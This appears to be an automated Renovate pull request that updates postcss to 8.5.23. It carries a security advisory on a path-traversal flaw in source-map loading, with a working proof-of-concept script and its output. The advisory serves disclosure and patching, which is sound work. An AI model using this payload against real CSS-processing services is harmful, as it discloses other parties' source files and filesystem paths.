fix(deps): update dependency postcss to v8.5.23 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
postcss (source)	8.5.19 → 8.5.23

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp
• https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8
• https://github.com/postcss/postcss/releases/tag/8.5.19
• https://github.com/advisories/GHSA-fxqj-rqcc-2cmp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

postcss/postcss (postcss)

v8.5.23

Compare Source

• Do not load source map without opts.from for security reasons.

v8.5.22

Compare Source

• Fixed custom property losing semicolon before a comment (by @​sarathfrancis90).

v8.5.21

Compare Source

• Fixed childless at-rule losing semicolon before comment (by @​sarathfrancis90).
• Fixed docs (by @​isker).

v8.5.20

Compare Source

• Fixed missing space if AtRule#params is set after (by @​sarathfrancis90).
• Fixed mixing AST error on warnings (by @​MahinAnowar).

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json

npm warn Unknown env config "store". This will error in a future major version of npm. See `npm help npmrc` for supported config options.
npm warn Unknown project config "auto-install-peers". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm warn Unknown project config "strict-peer-dependencies". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm error code ERESOLVE
npm error ERESOLVE unable to resolve dependency tree
npm error
npm error While resolving: edgestream-webui@1.0.0
npm error Found: typescript@7.0.2
npm error node_modules/typescript
npm error   dev typescript@"^7.0.2" from the root project
npm error
npm error Could not resolve dependency:
npm error peer typescript@">=4.8.4 <6.1.0" from typescript-eslint@8.70.0
npm error node_modules/typescript-eslint
npm error   dev typescript-eslint@"^8.67.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-09-24T20_04_02_130Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-09-24T20_04_02_130Z-debug-0.log